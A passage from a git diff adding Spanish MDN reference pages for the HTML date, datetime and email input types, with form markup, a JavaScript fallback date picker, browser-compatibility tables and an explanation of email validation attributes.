+<p>La mejor forma de lidiar con fechas en formularios en un navegador cruzado, es pedir al usuario que ingrese el mes, el año y el dia en inputs separados o en formatos de control separados, ({{htmlelement("select")}} elementos que se han hecho populares; Mira abajo para ver la implementación), o usa una libreria de JavaScript como <a href="https://jqueryui.com/datepicker/">jQuery date picker</a>.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>En este ejemplo creamos dos sets de elementos tipo UI para elegir fechas: uno nativo <code>&lt;input type="date"&gt;</code> y otro en un conjunto de tres {{htmlelement("select")}} elementos para elegir la fecha en navegadores antiguos que no soportan un input nativo.</p>
+
+<p>{{EmbedLiveSample('Examples', 600, 100)}}</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>El codigo HTML se ve como:</p>
+
+<pre>&lt;form&gt;
+    &lt;div class="nativeDatePicker"&gt;
+      &lt;label for="bday"&gt;Enter your birthday:&lt;/label&gt;
+      &lt;input type="date" id="bday" name="bday"&gt;
+      &lt;span class="validity"&gt;&lt;/span&gt;
+    &lt;/div&gt;
+    &lt;p class="fallbackLabel"&gt;Enter your birthday:&lt;/p&gt;
+    &lt;div class="fallbackDatePicker"&gt;
+      &lt;span&gt;
+        &lt;label for="day"&gt;Day:&lt;/label&gt;
+        &lt;select id="day" name="day"&gt;
+        &lt;/select&gt;
+      &lt;/span&gt;
+      &lt;span&gt;
+        &lt;label for="month"&gt;Month:&lt;/label&gt;
+        &lt;select id="month" name="month"&gt;
+          &lt;option selected&gt;January&lt;/option&gt;
+          &lt;option&gt;February&lt;/option&gt;
+          &lt;option&gt;March&lt;/option&gt;
+          &lt;option&gt;April&lt;/option&gt;
+          &lt;option&gt;May&lt;/option&gt;
+          &lt;option&gt;June&lt;/option&gt;
+          &lt;option&gt;July&lt;/option&gt;
+          &lt;option&gt;August&lt;/option&gt;
+          &lt;option&gt;September&lt;/option&gt;
+          &lt;option&gt;October&lt;/option&gt;
+          &lt;option&gt;November&lt;/option&gt;
+          &lt;option&gt;December&lt;/option&gt;
+        &lt;/select&gt;
+      &lt;/span&gt;
+      &lt;span&gt;
+        &lt;label for="year"&gt;Year:&lt;/label&gt;
+        &lt;select id="year" name="year"&gt;
+        &lt;/select&gt;
+      &lt;/span&gt;
+    &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Los meses son codificados (como son siempre), mientras que el dia y el año son generados dinamicamente dependiendo del mes y el año seleccionado,  y el presente año (mira el codigo comentado para ver los detalles de la explicacion y como este funciona.)</p>
+
+<pre>input:invalid+span:after {
+  content: '✖';
+  padding-left: 5px;
+}
+
+input:valid+span:after {
+  content: '✓';
+  padding-left: 5px;
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>La otra parte del codigo que podria ser interesante es una caracteristica de detección de codigo— para detectar si el navegador soporta o no <code>&lt;input type="date"&gt;</code>, creamos un nuevo {{htmlelement("input")}}, seteado de <code>type</code> a <code>date</code>, inmediatamente verifica a que tipo corresponde— para navegadores que no soportan retornara un tipo <code>text</code>, porque el tipo <code>date</code> se volveria en tipo <code>text</code>. Si <code>&lt;input type="date"&gt;</code> no es soportado, escondemos el control nativo (datepicker nativo) y mostramos el selector tipo UI ({{htmlelement("select")}}) en vez de este.</p>
+
+<pre class="brush: js">// define variables
+var nativePicker = document.querySelector('.nativeDatePicker');
+var fallbackPicker = document.querySelector('.fallbackDatePicker');
+var fallbackLabel = document.querySelector('.fallbackLabel');
+
+var yearSelect = document.querySelector('#year');
+var monthSelect = document.querySelector('#month');
+var daySelect = document.querySelector('#day');
+
+// hide fallback initially
+fallbackPicker.style.display = 'none';
+fallbackLabel.style.display = 'none';
+
+// test whether a new date input falls back to a text input or not
+var test = document.createElement('input');
+test.type = 'date';
+
+// if it does, run the code inside the if() {} block
+if(test.type === 'text') {
+  // hide the native picker and show the fallback
+  nativePicker.style.display = 'none';
+  fallbackPicker.style.display = 'block';
+  fallbackLabel.style.display = 'block';
+
+  // populate the days and years dynamically
+  // (the months are always the same, therefore hardcoded)
+  populateDays(monthSelect.value);
+  populateYears();
+}
+
+function populateDays(month) {
+  // delete the current set of &lt;option&gt; elements out of the
+  // day &lt;select&gt;, ready for the next set to be injected
+  while(daySelect.firstChild){
+    daySelect.removeChild(daySelect.firstChild);
+  }
+
+  // Create variable to hold new number of days to inject
+  var dayNum;
+
+  // 31 or 30 days?
+  if(month === 'January' || month === 'March' || month === 'May' || month === 'July' || month === 'August' || month === 'October' || month === 'December') {
+    dayNum = 31;
+  } else if(month === 'April' || month === 'June' || month === 'September' || month === 'November') {
+    dayNum = 30;
+  } else {
+  // If month is February, calculate whether it is a leap year or not
+    var year = yearSelect.value;
+    (year - 2016) % 4 === 0 ? dayNum = 29 : dayNum = 28;
+  }
+
+  // inject the right number of new &lt;option&gt; elements into the day &lt;select&gt;
+  for(i = 1; i &lt;= dayNum; i++) {
+    var option = document.createElement('option');
+    option.textContent = i;
+    daySelect.appendChild(option);
+  }
+
+  // if previous day has already been set, set daySelect's value
+  // to that day, to avoid the day jumping back to 1 when you
+  // change the year
+  if(previousDay) {
+    daySelect.value = previousDay;
+
+    // If the previous day was set to a high number, say 31, and then
+    // you chose a month with less total days in it (e.g. February),
+    // this part of the code ensures that the highest day available
+    // is selected, rather than showing a blank daySelect
+    if(daySelect.value === "") {
+      daySelect.value = previousDay - 1;
+    }
+
+    if(daySelect.value === "") {
+      daySelect.value = previousDay - 2;
+    }
+
+    if(daySelect.value === "") {
+      daySelect.value = previousDay - 3;
+    }
+  }
+}
+
+function populateYears() {
+  // get this year as a number
+  var date = new Date();
+  var year = date.getFullYear();
+
+  // Make this year, and the 100 years before it available in the year &lt;select&gt;
+  for(var i = 0; i &lt;= 100; i++) {
+    var option = document.createElement('option');
+    option.textContent = year-i;
+    yearSelect.appendChild(option);
+  }
+}
+
+// when the month or year &lt;select&gt; values are changed, rerun populateDays()
+// in case the change affected the number of available days
+yearSelect.onchange = function() {
+  populateDays(monthSelect.value);
+}
+
+monthSelect.onchange = function() {
+  populateDays(monthSelect.value);
+}
+
+//preserve day selection
+var previousDay;
+
+// update what day has been set to previously
+// see end of populateDays() for usage
+daySelect.onchange = function() {
+  previousDay = daySelect.value;
+}</pre>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Recuerda que algunos años tienen 53 semanas (año bisiesto) (Mira <a href="https://en.wikipedia.org/wiki/ISO_week_date#Weeks_per_year">Semanas por año</a>)! Tendras que tener esto en consideración cuando desarrolles apps o funciones.</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#date-state-(type=date)', '&lt;input type="date"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#date-state-(type=date)', '&lt;input type="date"&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>20</td>
+   <td>12</td>
+   <td>{{CompatGeckoDesktop(57)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.62</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(57)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.62</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] Reconoce pero no tiene UI.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>The generic {{HTMLElement("input")}} element and the interface used to manipulate it, {{domxref("HTMLInputElement")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Forms/The_native_form_widgets#Date_and_time_picker">Date and Time picker tutorial</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Date_and_time_formats">Date and time formats used in HTML</a></li>
+</ul>
diff --git a/files/es/web/html/elemento/input/datetime/index.html b/files/es/web/html/elemento/input/datetime/index.html
new file mode 100644
index 0000000000..f1f4aeac25
--- /dev/null
+++ b/files/es/web/html/elemento/input/datetime/index.html
@@ -0,0 +1,147 @@
+---
+title: <input type="datetime">
+slug: Web/HTML/Elemento/input/datetime
+tags:
+  - Elemento
+  - HTML
+  - Referencia
+translation_of: Web/HTML/Element/input/datetime
+---
+<p><span class="seoSummary"><dfn>El HTML</dfn><code> &lt;input type="datetime"&gt; </code>es un control para ingresar tiempo y fecha (hora, minuto, segundo y fracción de segundo) basado en la zona horaria UTC . <dfn> </dfn></span></p>
+
+<ul>
+ <li><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido">Categorías de contenido</a> : Contenido dinámico , listed , submittable , resettable , contenido asociado a un formulario , contenido estático o de texto . Si <code>type</code>  no tiene el valor <code>hidden </code>, elemenento labelable , contenido palpable .</li>
+</ul>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td>Ninguno , es un elemento vacío.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de etiquetas</th>
+   <td>Debe de tener una etiqueta de inicio y no debe de tener una etiqueta final .</td>
+  </tr>
+  <tr>
+   <th scope="row">Elementos padres permitidos</th>
+   <td>Cualquier elemento que acepte contenido estático o de texto .</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz DOM</th>
+   <td><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement" title="The HTMLInputElement interface provides special properties and methods (beyond the regular HTMLElement interface it also has available to it by inheritance) for manipulating the layout and presentation of input elements."><code>HTMLInputElement</code></a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>El siguiente elemento tiene los siguientes<a href="/es/docs/Web/HTML/Atributos_Globales"> atributos globales</a> .</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<div class="geckoVersionNote">
+<p><code><span class="highELE">input</span> <span class="highATT">type=</span><span class="highVAL">"datetime"</span> <span class="highATT">name=</span><span class="highVAL">"new_year"</span><span class="highGT"> </span></code></p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "forms.html#date-and-time-state-(type=datetime)", "&lt;input type=\"datetime\"&gt;")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "semantics.html#date-and-time-state-(type=datetime)", "&lt;input type=\"datetime\"&gt;")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatiblidad_con_navegadores">Compatiblidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>2</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>type=datetime</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>10.62</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>type=datetime</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.62</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1]  El tipo <code>daytime</code> es reconocido, pero no hay una IU para este.</p>
+
+<p>[2] Actualmente Gecko no implementa el tipo <code>datetime.</code>Ver {{bug("825294")}}</p>
+
+<p> </p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>El elemento {{HTMLElement("input")}}</li>
+</ul>
diff --git a/files/es/web/html/elemento/input/email/index.html b/files/es/web/html/elemento/input/email/index.html
new file mode 100644
index 0000000000..f07953bb29
--- /dev/null
+++ b/files/es/web/html/elemento/input/email/index.html
@@ -0,0 +1,423 @@
+---
+title: <input type="email">
+slug: Web/HTML/Elemento/input/email
+tags:
+  - Email
+  - Forms
+  - Formulários HTML
+  - HTML
+  - Input Type
+  - Referencia
+  - correoᵉ
+  - formulários
+translation_of: Web/HTML/Element/input/email
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">Los elementos {{HTMLElement("input")}} de tipo {{HTMLAttrDef("email")}} se utilizan para permitir que el usuario ingrese y edite una dirección de correoᵉ o, si se especifica el atributo {{web.link("/es/docs/Web/HTML/Attributes/multiple", "multiple")}}, una lista de direcciones de correoᵉ.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-email.html", "tabbed-shorter")}}</div>
+
+<div class="hidden">La fuente de este ejemplo interactivo se almacena en un repositorio de GitHub. Si deseas contribuir al proyecto de ejemplos interactivos, clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíanos una solicitud de extracción.</div>
+
+<p>El valor de {{HTMLElement("input")}} se valida automáticamente para garantizar que esté vacío o sea una dirección de correoᵉ con el formato adecuado (o una lista de direcciones) antes de que se pueda enviar el formulario. Las pseudoclases {{CSSxRef(":valid")}} e {{CSSxRef(":invalid")}} de CSS se aplican automáticamente según corresponda para indicar visualmente si el valor actual del campo es una dirección de correoᵉ válida o no.</p>
+
+<p>En los navegadores que no admiten entradas de tipo <code>email</code>, una entrada de <code>email</code> vuelve a ser un {{HTMLElement("input")}} {{HTMLElement("input/text", "text")}} estándar.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Value")}}</strong></td>
+   <td>Un {{DOMxRef("DOMString")}} que representa una dirección de correo electrónico o vacío</td>
+  </tr>
+  <tr>
+   <td><strong>Eventos</strong></td>
+   <td>{{DOMxRef("HTMLElement/change_event", "change")}} y {{DOMxRef("HTMLElement/input_event", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Atributos comunes admitidos</strong></td>
+   <td>{{HTMLAttrxRef("autocomplete", "input")}}, {{HTMLAttrxRef("list", "input")}}, {{HTMLAttrxRef("maxlength", "input")}}, {{HTMLAttrxRef("minlength", "input")}}, {{HTMLAttrxRef("multiple", "input")}}, {{HTMLAttrxRef("name", "input")}}, {{HTMLAttrxRef("pattern", "input")}}, {{HTMLAttrxRef("placeholder", "input")}}, {{HTMLAttrxRef("readonly", "input")}}, {{HTMLAttrxRef("required", "input")}}, {{HTMLAttrxRef("size", "input")}} y {{HTMLAttrxRef("type", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>IDL attributes</strong></td>
+   <td><code>list</code> y <code>value</code></td>
+  </tr>
+  <tr>
+   <td><strong>Métodos</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Value"><code>Value</code></h2>
+
+<p>El atributo {{HTMLAttrxRef("value", "input")}} del elemento {{HTMLElement("input")}} contiene un {{DOMxRef("DOMString")}} que se valida automáticamente conforme a la sintaxis del correoᵉ. Específicamente, hay tres posibles formatos de valor que pasarán la validación:</p>
+
+<ol>
+ <li>Una cadena vacía ("") — indica que el usuario no ingresó un valor o que el valor fue eliminado.</li>
+ <li>Una única dirección de correoᵉ debidamente formada. Esto no necesariamente significa que exista la dirección de correo electrónico, pero al menos tiene el formato correcto. En términos simples, esto significa <code>nombreusuario@dominio</code> o <code>nombreusuario@dominio.tld</code>. Hay más que eso, por supuesto; consulta {{anch("Validación")}} para obtener una {{Glossary("expresión regular")}} que coincida con el algoritmo de validación de la dirección de correoᵉ.</li>
+ <li>Si y solo se especifica el atributo {{HTMLAttrxRef("multiple", "input")}}, el valor puede ser una lista de direcciones de correoᵉ correctamente formadas separadas por comas. Los espacios en blanco iniciales y finales se eliminan de cada dirección de la lista.</li>
+</ol>
+
+<p>Consulta {{anch("Validación")}} para obtener detalles sobre cómo se validan las direcciones de correoᵉ para asegurarte de que tengan el formato correcto.</p>
+
+<h2 id="Atributos_adicionales">Atributos adicionales</h2>
+
+<p>Además de los atributos que operan en todos los elementos {{HTMLElement("input")}} independientemente de su tipo, las entradas de <code> email </code> admiten los siguientes atributos:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Atributo</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("list")}}</code></td>
+   <td>El id del elemento {{HTMLElement("datalist")}} que contiene las opciones de autocompletar predefinidas</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("maxlength")}}</code></td>
+   <td>El número máximo de caracteres que debe aceptar la entrada</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("minlength")}}</code></td>
+   <td>El número mínimo de caracteres que la entrada puede tener y aún se considera válida</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("multiple")}}</code></td>
+   <td>Si se permite o no la introducción de varias direcciones de correoᵉ separadas por comas.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("pattern")}}</code></td>
+   <td>Una expresión regular que el contenido de la entrada debe coincidir para que sea válida</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("placeholder")}}</code></td>
+   <td>Un valor de ejemplo para mostrar en el campo de entrada siempre y cuando esté vacío</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("readonly")}}</code></td>
+   <td>Un atributo booleano que indica si el contenido de la entrada debe ser de solo lectura.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("size")}}</code></td>
+   <td>Un número que indica cuántos caracteres de ancho debe tener el campo de entrada.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p id="htmlattrdeflist">{{page("/es/docs/Web/HTML/Element/input/text", "list", 0, 1, 2)}}</p>
+
+<h3 id="HTMLAttrDefmaxlength">{{HTMLAttrDef("maxlength")}}</h3>
+
+<p>El número máximo de caracteres (como unidades de código UTF-16) que el usuario puede ingresar en la entrada de {{HTMLAttrxRef("email", "input")}}. Debe ser un valor entero 0 o superior. Si no se especifica {{HTMLAttrxRef("maxlength", "input")}}, o se especifica un valor no válido, la entrada de {{HTMLAttrxRef("email", "input")}} no tiene una longitud máxima. Este valor también debe ser mayor o igual que el valor de {{HTMLAttrxRef("minlength", "input")}}.</p>
+
+<p>La entrada fallará {{web.link("/es/docs/Web/Guide/HTML/HTML5/Constraint_validation", "restricción de validación")}} si la longitud del valor de texto del campo es mayor que {{HTMLAttrxRef("maxlength", "input")}} Unidades de código UTF-16 de longitud. La validación de la restricción solo se aplica cuando el usuario cambia el valor.</p>
+
+<h3 id="HTMLAttrDefminlength">{{HTMLAttrDef("minlength")}}</h3>
+
+<p>El número mínimo de caracteres (como unidades de código UTF-16) que el usuario puede ingresar en la entrada de {{HTMLAttrxRef("email", "input")}}. Debe ser un valor entero no negativo menor o igual al valor especificado por {{HTMLAttrxRef("maxlength", "input")}}. Si no se especifica {{HTMLAttrxRef("minlength", "input")}} o se especifica un valor no válido, la entrada de {{HTMLAttrDef("email")}} no tiene una longitud mínima.</p>
+
+<p>La entrada fallará {{web.link("/es/docs/Web/Guide/HTML/HTML5/Constraint_validation", "restricción de validación")}} si la longitud del texto ingresado en el campo es menor que {{HTMLAttrDef("minlength")}} Unidades de código UTF-16 de longitud. La validación de la restricción solo se aplica cuando el usuario cambia el valor.</p>
+
+<h3 id="HTMLAttrDefmultiple">{{HTMLAttrDef("multiple")}}</h3>
+
+<p>Un atributo booleano que, si está presente, indica que el usuario puede ingresar una lista de múltiples direcciones de correoᵉ, separadas por comas y, opcionalmente, espacios en blanco. Consulta {{anch("Permitir varias direcciones de correoᵉ")}} para ver un ejemplo, o {{web.link("/es/docs/Web/HTML/Attributes/multiple", "HTML el atributo: multiple")}} para más detalles.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Normalmente, si especificas el atributo {{HTMLAttrxRef("required", "input")}}, el usuario debe ingresar una dirección de correoᵉ válida para que el campo se considere válido. Sin embargo, si agregas el atributo {{HTMLAttrDef("multiple")}}, una lista de cero direcciones de correo electrónico (una cadena vacía o una que sea completamente en blanco) es un valor válido. En otras palabras, el usuario no tiene que ingresar ni siquiera una dirección de correo electrónico cuando se especifica {{HTMLAttrDef("multiple")}}, independientemente del valor de {{HTMLAttrDef("required")}}.</p>
+</div>
+
+<h3 id="HTMLAttrDefpattern">{{HTMLAttrDef("pattern")}}</h3>
+
+<p>{{page("/es/docs/Web/HTML/Element/input/text", "pattern-include")}}</p>
+
+<p>Consulta la sección {{anch("Patrón de validación")}} para obtener detalles y ver un ejemplo.</p>
+
+<p>{{page("/es/docs/Web/HTML/Element/input/text", "placeholder", 0, 1, 2)}}</p>
+
+<p>{{page("/es/docs/Web/HTML/Element/input/text", "readonly", 0, 1, 2)}}</p>
+
+<p>{{page("/es/docs/Web/HTML/Element/input/text", "size", 0, 1, 2)}}</p>
+
+<h2 id="Usar_inputs_de_tipo_email">Usar <code>input</code>s de tipo <code>email</code></h2>
+
+<p>Las direcciones de correoᵉ se encuentran entre los formularios de datos textuales que se ingresan con mayor frecuencia en la web; se utilizan al iniciar sesión en sitios web, al solicitar información, para permitir la confirmación de pedidos, para correo web, etc. Por lo tanto, el tipo de entrada {{HTMLAttrDef("email")}} puede hacer que tu trabajo como desarrollador web sea mucho más fácil, ya que puede ayudar a simplificar la tarea al crear la interfaz de usuario y la lógica para las direcciones de correoᵉ. Cuando creas una entrada de correoᵉ con el valor de {{HTMLAttrDef("type")}} adecuado, {{HTMLAttrDef("email")}}, obtienes validación automática de que el texto ingresado esté por lo menos en la forma correcta para potencialmente ser una dirección de correoᵉ legítima. Esto puede ayudar a evitar casos en los que el usuario escribe mal su dirección o proporciona una dirección no válida.</p>
+
+<p>Sin embargo, es importante tener en cuenta que esto no es suficiente para garantizar que el texto especificado sea una dirección de correoᵉ que realmente exista, que corresponda al usuario del sitio o que sea aceptable de cualquier otra manera. Simplemente garantiza que el valor del campo tenga el formato adecuado para ser una dirección de correoᵉ.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: También es crucial recordar que un usuario puede jugar con tu HTML detrás de la escena, por lo que tu sitio <em>no debe</em> utilizar esta validación por motivos de seguridad. <em>Debes</em> verificar la dirección de correoᵉ en el lado del servidor de cualquier transacción en la que el texto proporcionado pueda tener implicaciones de seguridad de cualquier tipo.</p>
+</div>
+
+<h3 id="Una_sencilla_entrada_de_correoᵉ">Una sencilla entrada de correoᵉ</h3>
+
+<p>Actualmente, todos los navegadores que admiten este elemento lo implementan como un campo de entrada de texto estándar con características básicas de validación. Sin embargo, la especificación permite a los navegadores cierta libertad en esto. Por ejemplo, el elemento se podría integrar con la libreta de direcciones incorporada del dispositivo del usuario para permitir seleccionar direcciones de correoᵉ de esa lista. En su forma más básica, una entrada de tipo {{HTMLAttrDef("email")}} se puede implementar así:</p>
+
+<pre class="brush: html notranslate">&lt;input id="emailAddress" type="email"&gt;</pre>
+
+<p>{{ EmbedLiveSample('Una_sencilla_entrada_de_correoᵉ', 600, 40) }}</p>
+
+<p>Ten en cuenta que se considera válido cuando está vacío y cuando se ingresa una única dirección de correoᵉ con formato válido, pero por lo demás no se considera válido. Al agregar el atributo {{HTMLAttrxRef("required", "input")}}, solo se permiten direcciones de correoᵉ con formato válido; la entrada ya no se considera válida cuando está vacía.</p>
+
+<h3 id="Permitir_varias_direcciones_de_correoᵉ">Permitir varias direcciones de correoᵉ</h3>
+
+<p>Al agregar el atributo booleano {{web.link("/es/docs/Web/HTML/Attributes/multiple", "multiple")}}, la entrada se puede configurar para aceptar varias direcciones de correoᵉ.</p>
+
+<pre class="brush: html notranslate">&lt;input id="emailAddress" type="email" multiple&gt;</pre>
+
+<p>{{ EmbedLiveSample('permitir_varias_direcciones_de_correoᵉ', 600, 40) }}</p>
+
+<p>La entrada ahora se considera válida cuando se ingresa una sola dirección de correoᵉ, o cuando cualquier número de direcciones de correo electrónico separadas por comas y, opcionalmente, algún número de espacios en blanco están presentes.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Cuando se utiliza {{HTMLAttrDef("multiple")}}, el valor <em>puede</em> estar vacío.</p>
+</div>
+
+<p>Algunos ejemplos de cadenas válidas cuando se especifica {{HTMLAttrDef("multiple")}}:</p>
+
+<ul>
+ <li><code>""</code></li>
+ <li><code>"yo@ejemplo"</code></li>
+ <li><code>"yo@ejemplo.org"</code></li>
+ <li><code>"yo@ejemplo.org,tu@ejemplo.org"</code></li>
+ <li><code>"yo@ejemplo.org, tu@ejemplo.org"</code></li>
+ <li><code>"yo@ejemplo.org,tu@example.org, su@ejemplo.org"</code></li>
+</ul>
+
+<p>Algunos ejemplos de cadenas no válidas:</p>
+
+<ul>
+ <li><code>","</code></li>
+ <li><code>"me"</code></li>
+ <li><code>"me@example.org you@example.org"</code></li>
+</ul>
+
+<h3 id="Marcadores_de_posición">Marcadores de posición</h3>
+
+<p>A veces es útil ofrecer una pista en contexto sobre qué forma deben tomar los datos de entrada. Esto puede ser importante especialmente si el diseño de la página no ofrece etiquetas descriptivas para cada {{HTMLElement("input")}}. Aquí es donde entran los marcadores de posición ({{HTMLAttrDef("placeholder")}}s). Un marcador de posición es un valor que demuestra la forma que debe tomar el {{HTMLAttrDef("value")}} al presentar un ejemplo de un valor válido, que se muestra dentro del cuadro de edición cuando el valor del elemento es "". Una vez que se ingresan datos en el cuadro, el marcador de posición desaparece; si se vacía la caja, vuelve a aparecer el marcador de posición.</p>
+
+<p>Aquí, tenemos una entrada de {{HTMLAttrDef("email")}} con el marcador de posición <code>chofy@ejemplo.com</code>. Observa cómo el marcador de posición desaparece y reaparece a medida que manipulas el contenido del campo de edición.</p>
+
+<pre class="brush: html notranslate">&lt;input type="email" placeholder="chofy@ejemplo.com"&gt;</pre>
+
+<p>{{ EmbedLiveSample('Marcadores_de_posición', 600, 40) }}</p>
+
+<h3 id="Controlar_el_tamaño_del_valor_ingresado">Controlar el tamaño del valor ingresado</h3>
+
+<p>Puedes controlar no solo la longitud física del cuadro de entrada, sino también las longitudes mínima y máxima permitidas para el texto de entrada en sí mismo.</p>
+
+<h4 id="Tamaño_físico_del_elemento_de_entrada">Tamaño físico del elemento de entrada</h4>
+
+<p>El tamaño físico del cuadro de entrada se puede controlar mediante el atributo {{HTMLAttrxRef("size", "input")}}. Con él, puedes especificar el número de caracteres que el cuadro de entrada puede mostrar a la vez. En este ejemplo, el cuadro de edición {{HTMLAttrDef("email")}} tiene 15 caracteres de ancho:</p>
+
+<pre class="brush: html notranslate">&lt;input type="email" size="15"&gt;</pre>
+
+<p>{{ EmbedLiveSample('Tamaño_físico_del_elemento_de_entrada', 600, 40) }}</p>
+
+<h4 id="Longitud_del_valor_del_elemento">Longitud del valor del elemento</h4>
+
+<p>El {{HTMLAttrDef("size")}} es independiente de la limitación de longitud de la dirección de correoᵉ ingresada, por lo que puedes hacer que los campos quepan en un espacio pequeño y, al mismo tiempo, permitir que se ingresen cadenas de direcciones de correoᵉ más largas. Puedes especificar una longitud mínima, en caracteres, para la dirección de correoᵉ ingresada usando el atributo {{HTMLAttrxRef("minlength", "input")}}; de manera similar, usa {{HTMLAttrxRef("maxlength", "input")}} para establecer la longitud máxima de la dirección de correoᵉ ingresada.</p>
+
+<p>El siguiente ejemplo crea un cuadro de entrada de dirección de correoᵉ de 32 caracteres de ancho, que requiere que el contenido tenga no menos de 3 caracteres y no más de 64 caracteres.</p>
+
+<pre class="brush: html notranslate">&lt;input type="email" size="32" minlength="3" maxlength="64"&gt;</pre>
+
